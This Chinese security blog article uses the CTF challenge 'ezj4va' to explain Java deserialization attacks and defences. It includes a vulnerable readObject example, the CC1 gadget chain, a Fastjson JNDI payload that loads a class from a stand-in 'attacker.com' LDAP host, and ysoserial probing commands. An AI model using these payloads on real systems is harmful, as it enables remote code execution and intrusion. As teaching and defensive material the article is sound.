
1. 从一道CTF赛题看Java反序列化的攻防纵深最近在整理历年CTFCapture The Flag赛题时2021年CISCN全国大学生信息安全竞赛决赛的一道Java反序列化题目“ezj4va”引起了我的注意。这道题本身可能只是比赛中的一个环节但它背后所串联起的Java安全生态、漏洞利用链的构造思路以及防御者视角下的加固策略却是一个值得深入探讨的实战话题。很多刚接触安全的朋友一听到“Java反序列化”就觉得头大各种组件、链子、Gadget让人眼花缭乱。今天我就以这道题为引子结合这几年在代码审计和渗透测试中的实际经验带大家拆解一下Java反序列化漏洞的核心逻辑、常见利用链的构造以及如何从开发和运维两个层面进行有效防御。无论你是正在准备Java安全面试还是想深入理解漏洞原理这篇文章或许能给你一些不一样的视角。2. 理解“ezj4va”赛题场景与反序列化入口点分析虽然我们无法获取“ezj4va”题目的完整源码但结合CISCN决赛的难度定位和“ezj4va”这个名称谐音“easy java”可以推测它是一道旨在考察选手对Java反序列化漏洞链挖掘与利用能力的题目。这类题目的典型场景是提供一个存在反序列化操作的网络服务例如一个接收序列化数据的HTTP端点、一个使用Java RMI的远程接口或者一个解析序列化数据的文件上传功能攻击者需要构造一个特殊的序列化对象Payload使其在服务端反序列化时执行任意代码从而读取服务器上的特定文件Flag。2.1 反序列化漏洞的根源ObjectInputStream与readObject一切都要从Java原生的序列化机制说起。Java通过java.io.ObjectInputStream类的readObject()方法来反序列化一个字节流还原成一个对象。关键在于readObject方法在还原对象时会递归地调用对象及其所有成员变量所属类的readObject方法如果该类自定义了的话。这就为攻击者打开了一扇门如果一个类在其readObject方法中包含了某些危险操作如调用Runtime.exec()执行命令、通过Method.invoke()调用任意方法并且这个类存在于目标应用的ClassPath中那么攻击者就可以通过精心构造的序列化数据触发这些危险操作。一个最简单的、教科书式的漏洞代码如下// 一个存在风险的类 public class EvilClass implements Serializable { private String command; private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); // 先正常反序列化字段 Runtime.getRuntime().exec(this.command); // 危险操作 } } // 服务端存在漏洞的代码 public class VulnerableServer { public Object deserialize(byte[] data) throws Exception { ByteArrayInputStream bais new ByteArrayInputStream(data); ObjectInputStream ois new ObjectInputStream(bais); return ois.readObject(); // 如果data是EvilClass的序列化数据命令就会被执行 } }在实际的漏洞利用中情况远比这复杂。我们几乎不可能找到一个直接包含Runtime.exec()的类。攻击者需要利用一系列现有的、符合条件的类像搭积木一样组合成一条完整的调用链Gadget Chain最终达到执行命令或其它恶意操作的目的。这就是所谓的“利用链”或“Gadget Chain”。2.2 常见漏洞触发场景与“ezj4va”的可能形态“ezj4va”这类赛题其漏洞入口点通常有以下几种形式HTTP参数反序列化Web应用接收一个经过Base64编码的序列化数据作为参数如data...并在后端直接进行反序列化。RMI远程方法调用Java RMI的通信协议基于序列化攻击者可以伪装成RMI客户端向服务端发送恶意的序列化对象。自定义协议服务端监听某个端口接收的数据流直接被送入ObjectInputStream。中间件特性某些框架或中间件如JMX、JMS在特定配置下会接受序列化数据。对于CTF赛题为了增加趣味性和考察深度出题人往往会做以下“包装”依赖限制只提供有限的第三方库Jar包要求选手在给定的“弹药库”里寻找可用的Gadget。WAF或过滤对序列化数据流进行某种检查或修改需要选手进行绕过。不出网目标服务器无法访问外网需要构造回显Payload将命令执行的结果直接写入HTTP响应中。多步利用可能需要结合其他漏洞如SSRF、文件上传先打入一个前置的序列化数据再触发二次反序列化。分析“ezj4va”它很可能是一个Web题目提供一个接收序列化数据的API。选手需要利用服务端ClassPath中存在的库如Commons Collections, Fastjson等来构造利用链。关键词中的“fastjson”也提示了另一种非常重要的反序列化漏洞类型我们稍后会详细对比。3. 构建攻击链从CC链到Fastjson的利用逻辑要成功利用一个Java反序列化漏洞我们需要一条能“通”的链。这条链通常由三部分组成启动点Sink最终执行恶意操作的地方如Runtime.exec(),ProcessBuilder.start(), 或通过反射调用任意方法。连接器Connector一系列可以传递调用、控制程序流的类和方法常见于集合类和动态代理中。触发点Source反序列化过程自动调用的第一个readObject方法通常是某个集合类。3.1 Apache Commons Collections (CC) 链经典中的经典这是Java反序列化漏洞史上最著名、影响最广泛的利用链家族。其核心是利用了CC库中一些类的特性这些类的readObject或类似方法在反序列化时会调用其内部保存的Transformer对象对某个值进行变换。通过精心组合多个Transformer可以构造出任意方法调用链。以经典的CommonsCollections1CC1链为例其简化版的调用栈如下ObjectInputStream.readObject() - AnnotationInvocationHandler.readObject() [JDK内部类通过动态代理触发] - ... [一系列代理调用] - LazyMap.get() - ChainedTransformer.transform() - ConstantTransformer.transform() // 返回Runtime.class - InvokerTransformer.transform() // 反射调用Runtime.getRuntime() - InvokerTransformer.transform() // 反射调用exec方法这条链的巧妙之处在于它利用了AnnotationInvocationHandler这个JDK自带的类作为“跳板”结合CC库的LazyMap和ChainedTransformer最终通过InvokerTransformer的反射能力执行命令。在CTF中如果题目环境包含了老版本的CC库如3.2.1及以下这条链就是首选。注意CC链的利用高度依赖JDK版本。在JDK 8u71之后AnnotationInvocationHandler的readObject逻辑被修改导致很多利用链失效。因此在实际攻击和CTF中判断目标JDK版本是第一步。3.2 Fastjson反序列化漏洞另一条主流赛道Fastjson是阿里巴巴开源的高性能JSON库。它的反序列化漏洞原理与原生Java序列化不同。Fastjson在将JSON字符串反序列化为Java对象时需要通过type字段指定目标类名。漏洞就出在Fastjson为了支持多态特性在反序列化过程中会根据type自动调用目标类的setter方法、getter方法、甚至构造函数。攻击者可以构造一个特殊的JSON字符串其中type指定为一个具有危险方法或属性的类。例如早期的一个经典漏洞是利用com.sun.rowset.JdbcRowSetImpl类这个类在反序列化时会根据dataSourceName属性进行JNDI查找。如果dataSourceName指向一个恶意的RMI/LDAP服务就会触发JNDI注入导致远程类加载和执行代码。一个典型的Fastjson JNDI注入Payload如下{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://attacker.com:1389/Exploit, autoCommit: true }当Fastjson特定版本如1.2.24解析这个JSON时会实例化JdbcRowSetImpl并调用其setDataSourceName和setAutoCommit方法。在setAutoCommit中会触发connect()方法进而进行JNDI查询加载远程恶意类。3.3 “ezj4va”可能的链构造思路对于一道2021年的决赛题出题人很可能不会直接放上最原始的CC1或Fastjson 1.2.24漏洞。他们可能会使用偏门或新版Gadget例如利用CommonsBeanUtils,CommonsCollections的其他变种链CC6, CC7或者结合Rome,XStream等库的Gadget。设置WAF绕过例如对序列化数据中的类名进行黑名单过滤需要选手使用非常规的类名或利用数组、动态代理等特性绕过。要求内存马注入这是近年来更贴近实战的考察方向。不满足于执行一次命令而是要求选手通过反序列化漏洞在目标Web容器如Tomcat中注入一个持久化的后门内存马例如一个Filter型内存马或Controller型内存马。这需要选手对Tomcat等容器的架构有更深的理解。在实战中我们通常会使用像ysoserial、marshalsec这样的工具来生成各种链的Payload。但对于CTF尤其是决赛工具生成的Payload可能被过滤需要选手手动分析和修改Gadget链。4. 漏洞的防御从开发到运维的立体策略知道了怎么攻击才能更好地防御。防御Java反序列化漏洞是一个系统工程需要开发、架构和运维共同参与。4.1 开发层代码层面的最佳实践避免使用原生反序列化这是最根本的解决方案。对于对象的持久化或网络传输考虑使用更安全的替代方案如JSON使用Jackson或Gson库并严格禁用type之类的多态特性对于Jackson即禁用enableDefaultTyping。XML使用安全的配置防止XXE漏洞。Protocol Buffers, Thrift, Avro这些二进制协议本身设计更安全不直接支持任意类的反射实例化。升级组件版本这是最直接有效的缓解措施。Fastjson必须升级到最新安全版本如Fastjson2。Fastjson1.x版本建议升级至1.2.83及以上并开启SafeMode。在Fastjson 1.2.68之后可以通过ParserConfig.getGlobalInstance().setSafeMode(true);开启安全模式此时type功能将被完全禁用。Apache Commons Collections升级到3.2.2及以上版本这些版本重写了危险的Transformer实现类。其他第三方库定期关注依赖库的安全公告及时更新。可以使用OWASP Dependency-Check或Maven/Gradle的依赖安全扫描插件。白名单校验如果业务上必须使用Java原生反序列化例如RMI通信则必须实施严格的类白名单过滤。可以自定义一个ObjectInputStream的子类重写resolveClass方法。public class SafeObjectInputStream extends ObjectInputStream { private static final SetString WHITELIST Set.of( com.example.safe.Model, java.lang.String, java.util.HashMap // ... 仅允许必要的类 ); public SafeObjectInputStream(InputStream in) throws IOException { super(in); } Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className desc.getName(); if (!WHITELIST.contains(className)) { throw new InvalidClassException(Unauthorized deserialization attempt for class: , className); } return super.resolveClass(desc); } }重要提示维护白名单非常繁琐且容易出错一旦遗漏某个内部类就可能导致防御失效。因此这只能作为最后一道防线而非首选方案。4.2 架构与运维层纵深防御网络隔离与最小权限将存在反序列化接口的服务部署在内网严格限制外网访问。运行服务的账户使用最低必要权限避免以root或高权限系统用户运行Java应用。使用Security Manager启用Java Security Manager并配置严格的安全策略文件java.policy可以限制代码执行命令、访问文件系统、进行网络连接等能力。虽然配置复杂但在关键系统中能提供强大的沙箱保护。部署RASP运行时应用自我保护在应用层或中间件层部署RASP产品。RASP可以Hook到ObjectInputStream.readObject()、ClassLoader.defineClass()等关键方法实时检测和阻断恶意的反序列化行为。这对于防护未知的、未来的利用链特别有效。WAF与流量审计在网关层面部署WAF可以配置规则来拦截含有明显特征的序列化魔术头AC ED 00 05或Fastjsontype攻击Payload的请求。同时对流量日志进行审计及时发现攻击尝试。5. 实战排查当怀疑存在反序列化漏洞时如果你在代码审计或渗透测试中发现一个接收二进制数据或特定格式JSON的接口如何快速验证它是否存在反序列化漏洞5.1 信息收集与探测识别入口点寻找所有接收数据的端点关注参数名如data、input、obj或者Content-Type为application/octet-stream、application/x-java-serialized-object的请求。指纹识别尝试发送一个正常的序列化对象比如一个简单的java.util.HashMap的序列化字节流看服务端是否正常响应而非报“无法解析”的错误。对于Fastjson可以发送一个包含合法type的简单JSON观察返回的异常信息不同版本的Fastjson报错信息不同可以用于版本识别。错误信息分析向疑似接口发送畸形的数据观察返回的堆栈错误信息。如果错误中出现了ObjectInputStream、readObject、JSON.parseObject等关键字基本可以确认存在反序列化操作。错误信息还可能泄露服务端使用的库和版本如com.alibaba.fastjson.JSONException。5.2 利用与验证DNSLog外带测试这是最安全、最常用的验证方式。构造一个Payload让其触发一次DNS查询例如利用URL类发起HTTP请求到xxx.dnslog.cn。如果DNSLog平台收到了查询记录则证明漏洞存在且可以利用。这避免了直接执行命令可能带来的风险。对于原生反序列化可以使用URLDNS链ysoserial工具提供这条链只触发DNS查询不执行命令非常适合探测。对于Fastjson可以构造使用java.net.InetAddress或java.net.URL类的Payload来触发DNS/HTTP请求。延时测试如果目标不出网可以尝试构造一个执行sleep命令或进行长时间循环的Payload通过观察请求响应时间是否显著变长来判断命令是否执行。回显Payload构造在确认漏洞存在后如果需要获取命令执行结果就需要构造回显Payload。思路是将命令执行的结果写入当前HTTP请求的响应中。这通常需要更复杂的链利用当前线程的上下文信息如ThreadLocal、Request和Response对象找到一种方式将结果输出到页面上。网上有大量针对Tomcat、Spring等框架的公开回显Payload。5.3 一个简单的排查流程示例假设发现一个APIPOST /api/import请求体是二进制数据。用Burp Suite抓包将请求体替换为一个URLDNS链的Payload使用ysoserial生成java -jar ysoserial.jar URLDNS http://your-subdomain.dnslog.cn payload.bin。发送请求同时观察DNSLog平台。如果收到DNS查询记录证明/api/import端点存在不安全的原生Java反序列化操作。接下来可以进一步探测ClassPath中可用的Gadget链尝试使用CommonsCollections、Beanutils等链进行命令执行。务必在授权和隔离的环境中进行。6. 从“ezj4va”到真实世界思维模式的转变CTF赛题是理想化的漏洞模型而真实世界的漏洞利用要复杂和曲折得多。通过分析“ezj4va”这类题目我们真正要锻炼的是一种“攻击者思维”和“链条思维”。6.1 攻击者思维关注异常和边界攻击者不会只看正常逻辑。他们会关注异常处理路径代码在抛出异常时是否会执行一些清理或日志操作这些操作里有没有可以利用的点边缘特性某个框架为了“方便”提供的特性如Fastjson的type、Jackson的多态处理往往就是风险的来源。依赖的“毒性”引入一个功能强大的第三方库也意味着引入了它所有的安全风险。Commons Collections本是一个优秀的工具库但其强大的动态性在反序列化语境下就成了“毒性”依赖。6.2 链条思维不只是找一个点真正的漏洞利用很少是“一击必杀”。它更像是在迷宫中寻找一条从入口Source到宝藏Sink的路径。这条路径可能由多个环节Gadget组成每个环节都可能因为版本差异、配置不同而失效。因此我们需要熟悉常见链的“零件”了解Transformer、Proxy、AnnotationInvocationHandler、TemplatesImpl等核心“零件”的作用和触发条件。具备链的拼接和改造能力当现成的链不能用时能否根据目标环境已有的类自己拼接一条新的链这需要对Java反射、类加载、动态代理等机制有深刻理解。利用工具但不依赖工具ysoserial是利器但它的Payload可能被WAF识别或因为环境差异失效。理解其生成原理能够手动调试和修改Payload是进阶的必备技能。最后防御的本质是增加攻击者的成本和不确定性。通过代码审计、依赖管理、安全编码、运行时防护和网络隔离构建纵深防御体系即使某个环节被突破也能在其他层面进行拦截和发现。反序列化漏洞的攻防是Java安全领域一场精彩而持久的博弈理解它不仅能帮助我们更好地挖掘漏洞更能让我们写出更健壮、更安全的代码。